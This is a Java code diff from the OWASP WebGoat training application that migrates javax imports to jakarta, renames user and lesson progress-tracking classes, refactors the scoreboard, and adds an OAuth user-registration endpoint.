-    overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a -> a, b -> true)));
-    return overview;
+    return assignments.stream().collect(Collectors.toMap(a -> a, Assignment::isSolved));
+  }
+
+  long numberOfSolvedAssignments() {
+    return assignments.size();
   }
 }

src/main/java/org/owasp/webgoat/container/users/RegistrationController.java

@@ -1,11 +1,12 @@
 package org.owasp.webgoat.container.users;
 
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
-import javax.validation.Valid;
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.validation.Valid;
+import java.util.UUID;
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
-import org.springframework.security.authentication.AuthenticationManager;
+import org.springframework.security.core.Authentication;
 import org.springframework.stereotype.Controller;
 import org.springframework.validation.BindingResult;
 import org.springframework.web.bind.annotation.GetMapping;
@@ -23,7 +24,6 @@ public class RegistrationController {
 
   private UserValidator userValidator;
   private UserService userService;
-  private AuthenticationManager authenticationManager;
 
   @GetMapping("/registration")
   public String showForm(UserForm userForm) {
@@ -46,4 +46,12 @@ public class RegistrationController {
 
     return "redirect:/attack";
   }
+
+  @GetMapping("/login-oauth.mvc")
+  public String registrationOAUTH(Authentication authentication, HttpServletRequest request)
+      throws ServletException {
+    log.info("register oauth user in database");
+    userService.addUser(authentication.getName(), UUID.randomUUID().toString());
+    return "redirect:/welcome.mvc";
+  }
 }

src/main/java/org/owasp/webgoat/container/users/Scoreboard.java

@@ -1,8 +1,8 @@
 package org.owasp.webgoat.container.users;
 
-import java.util.ArrayList;
 import java.util.List;
 import java.util.Optional;
+import java.util.stream.Collectors;
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import org.owasp.webgoat.container.i18n.PluginMessages;
@@ -21,7 +21,7 @@ import org.springframework.web.bind.annotation.RestController;
 @AllArgsConstructor
 public class Scoreboard {
 
-  private final UserTrackerRepository userTrackerRepository;
+  private final UserProgressRepository userTrackerRepository;
   private final UserRepository userRepository;
   private final Course course;
   private final PluginMessages pluginMessages;
@@ -35,22 +35,18 @@ public class Scoreboard {
 
   @GetMapping("/scoreboard-data")
   public List<Ranking> getRankings() {
-    List<WebGoatUser> allUsers = userRepository.findAll();
-    List<Ranking> rankings = new ArrayList<>();
-    for (WebGoatUser user : allUsers) {
-      if (user.getUsername().startsWith("csrf-")) {
-        // the csrf- assignment specific users do not need to be in the overview
-        continue;
-      }
-      UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
-      rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
-    }
-    /* sort on number of captured flags to present an ordered ranking */
-    rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
-    return rankings;
+    return userRepository.findAll().stream()
+        .filter(user -> !user.getUsername().startsWith("csrf-"))
+        .map(
+            user ->
+                new Ranking(
+                    user.getUsername(),
+                    challengesSolved(userTrackerRepository.findByUser(user.getUsername()))))
+        .sorted((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size())
+        .collect(Collectors.toList());
   }
 
-  private List<String> challengesSolved(UserTracker userTracker) {
+  private List<String> challengesSolved(UserProgress userTracker) {
     List<String> challenges =
         List.of(
             "Challenge1",
@@ -63,10 +59,10 @@ public class Scoreboard {
             "Challenge8",
             "Challenge9");
     return challenges.stream()
-        .map(userTracker::getLessonTracker)
+        .map(userTracker::getLessonProgress)
         .flatMap(Optional::stream)
-        .filter(LessonTracker::isLessonSolved)
-        .map(LessonTracker::getLessonName)
+        .filter(LessonProgress::isLessonSolved)
+        .map(LessonProgress::getLessonName)
         .map(this::toLessonTitle)
         .toList();
   }

src/main/java/org/owasp/webgoat/container/users/UserForm.java

@@ -1,8 +1,8 @@
 package org.owasp.webgoat.container.users;
 
-import javax.validation.constraints.NotNull;
-import javax.validation.constraints.Pattern;
-import javax.validation.constraints.Size;
+import jakarta.validation.constraints.NotNull;
+import jakarta.validation.constraints.Pattern;
+import jakarta.validation.constraints.Size;
 import lombok.Getter;
 import lombok.Setter;
 

src/main/java/org/owasp/webgoat/container/users/UserProgress.java

@@ -1,13 +1,18 @@
 package org.owasp.webgoat.container.users;
 
+import jakarta.persistence.CascadeType;
+import jakarta.persistence.Column;
+import jakarta.persistence.Entity;
+import jakarta.persistence.FetchType;
+import jakarta.persistence.GeneratedValue;
+import jakarta.persistence.GenerationType;
+import jakarta.persistence.Id;
+import jakarta.persistence.OneToMany;
 import java.util.HashSet;
-import java.util.Map;
 import java.util.Optional;
 import java.util.Set;
-import java.util.stream.Collectors;
-import javax.persistence.*;
+import lombok.EqualsAndHashCode;
 import lombok.extern.slf4j.Slf4j;
-import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Lesson;
 
 /**
@@ -43,21 +48,22 @@ import org.owasp.webgoat.container.lessons.Lesson;
  */
 @Slf4j
 @Entity
-public class UserTracker {
+@EqualsAndHashCode
+public class UserProgress {
 
   @Id
-  @GeneratedValue(strategy = GenerationType.AUTO)
+  @GeneratedValue(strategy = GenerationType.IDENTITY)
   private Long id;
 
   @Column(name = "username")
   private String user;
 
   @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
-  private Set<LessonTracker> lessonTrackers = new HashSet<>();
+  private Set<LessonProgress> lessonProgress = new HashSet<>();
 
-  private UserTracker() {}
+  protected UserProgress() {}
 
-  public UserTracker(final String user) {
+  public UserProgress(final String user) {
     this.user = user;
   }
 
@@ -67,15 +73,15 @@ public class UserTracker {
    * @param lesson the lesson
    * @return a lesson tracker created if not already present
    */
-  public LessonTracker getLessonTracker(Lesson lesson) {
-    Optional<LessonTracker> lessonTracker =
-        lessonTrackers.stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst();
-    if (!lessonTracker.isPresent()) {
-      LessonTracker newLessonTracker = new LessonTracker(lesson);
-      lessonTrackers.add(newLessonTracker);
+  public LessonProgress getLessonProgress(Lesson lesson) {
+    Optional<LessonProgress> progress =
+        lessonProgress.stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst();
+    if (!progress.isPresent()) {
+      LessonProgress newLessonTracker = new LessonProgress(lesson);
+      lessonProgress.add(newLessonTracker);
       return newLessonTracker;
     } else {
-      return lessonTracker.get();
+      return progress.get();
     }
   }
 
@@ -85,43 +91,34 @@ public class UserTracker {
    * @param id the id of the lesson
    * @return optional due to the fact we can only create a lesson tracker based on a lesson
    */
-  public Optional<LessonTracker> getLessonTracker(String id) {
-    return lessonTrackers.stream().filter(l -> l.getLessonName().equals(id)).findFirst();
+  public Optional<LessonProgress> getLessonProgress(String id) {
+    return lessonProgress.stream().filter(l -> l.getLessonName().equals(id)).findFirst();
   }
 
   public void assignmentSolved(Lesson lesson, String assignmentName) {
-    LessonTracker lessonTracker = getLessonTracker(lesson);
-    lessonTracker.incrementAttempts();
-    lessonTracker.assignmentSolved(assignmentName);
+    LessonProgress progress = getLessonProgress(lesson);
+    progress.incrementAttempts();
+    progress.assignmentSolved(assignmentName);
   }
 
   public void assignmentFailed(Lesson lesson) {
-    LessonTracker lessonTracker = getLessonTracker(lesson);
-    lessonTracker.incrementAttempts();
+    LessonProgress progress = getLessonProgress(lesson);
+    progress.incrementAttempts();
   }
 
   public void reset(Lesson al) {
-    LessonTracker lessonTracker = getLessonTracker(al);
-    lessonTracker.reset();
+    LessonProgress progress = getLessonProgress(al);
+    progress.reset();
   }
 
-  public int numberOfLessonsSolved() {
-    int numberOfLessonsSolved = 0;
-    for (LessonTracker lessonTracker : lessonTrackers) {
-      if (lessonTracker.isLessonSolved()) {
-        numberOfLessonsSolved = numberOfLessonsSolved + 1;
-      }
-    }
-    return numberOfLessonsSolved;
+  public long numberOfLessonsSolved() {
+    return lessonProgress.stream().filter(LessonProgress::isLessonSolved).count();
   }
 
-  public int numberOfAssignmentsSolved() {
-    int numberOfAssignmentsSolved = 0;
-    for (LessonTracker lessonTracker : lessonTrackers) {
-      Map<Assignment, Boolean> lessonOverview = lessonTracker.getLessonOverview();
-      numberOfAssignmentsSolved =
-          lessonOverview.values().stream().filter(b -> b).collect(Collectors.counting()).intValue();
-    }
-    return numberOfAssignmentsSolved;
+  public long numberOfAssignmentsSolved() {
+    return lessonProgress.stream()
+        .map(LessonProgress::numberOfSolvedAssignments)
+        .mapToLong(Long::valueOf)
+        .sum();
   }
 }

src/main/java/org/owasp/webgoat/container/users/UserProgressRepository.java

@@ -0,0 +1,9 @@
+package org.owasp.webgoat.container.users;
+
+import org.springframework.data.jpa.repository.JpaRepository;
+
+public interface UserProgressRepository extends JpaRepository<UserProgress, String> {
+
+  // TODO: make optional
+  UserProgress findByUser(String user);
+}

src/main/java/org/owasp/webgoat/container/users/UserService.java

@@ -4,7 +4,7 @@ import java.util.List;
 import java.util.function.Function;
 import lombok.AllArgsConstructor;
 import org.flywaydb.core.Flyway;
-import org.owasp.webgoat.container.lessons.Initializeable;
+import org.owasp.webgoat.container.lessons.Initializable;
 import org.springframework.jdbc.core.JdbcTemplate;
 import org.springframework.security.core.userdetails.UserDetailsService;
 import org.springframework.security.core.userdetails.UsernameNotFoundException;
@@ -19,10 +19,10 @@ import org.springframework.stereotype.Service;
 public class UserService implements UserDetailsService {
 
   private final UserRepository userRepository;
-  private final UserTrackerRepository userTrackerRepository;
+  private final UserProgressRepository userTrackerRepository;
   private final JdbcTemplate jdbcTemplate;
   private final Function<String, Flyway> flywayLessons;
-  private final List<Initializeable> lessonInitializables;
+  private final List<Initializable> lessonInitializables;
 
   @Override
   public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException {
@@ -43,7 +43,7 @@ public class UserService implements UserDetailsService {
 
     if (!userAlreadyExists) {
       userTrackerRepository.save(
-          new UserTracker(username)); // if user previously existed it will not get another tracker
+          new UserProgress(username)); // if user previously existed it will not get another tracker
       createLessonsForUser(webGoatUser);
     }
   }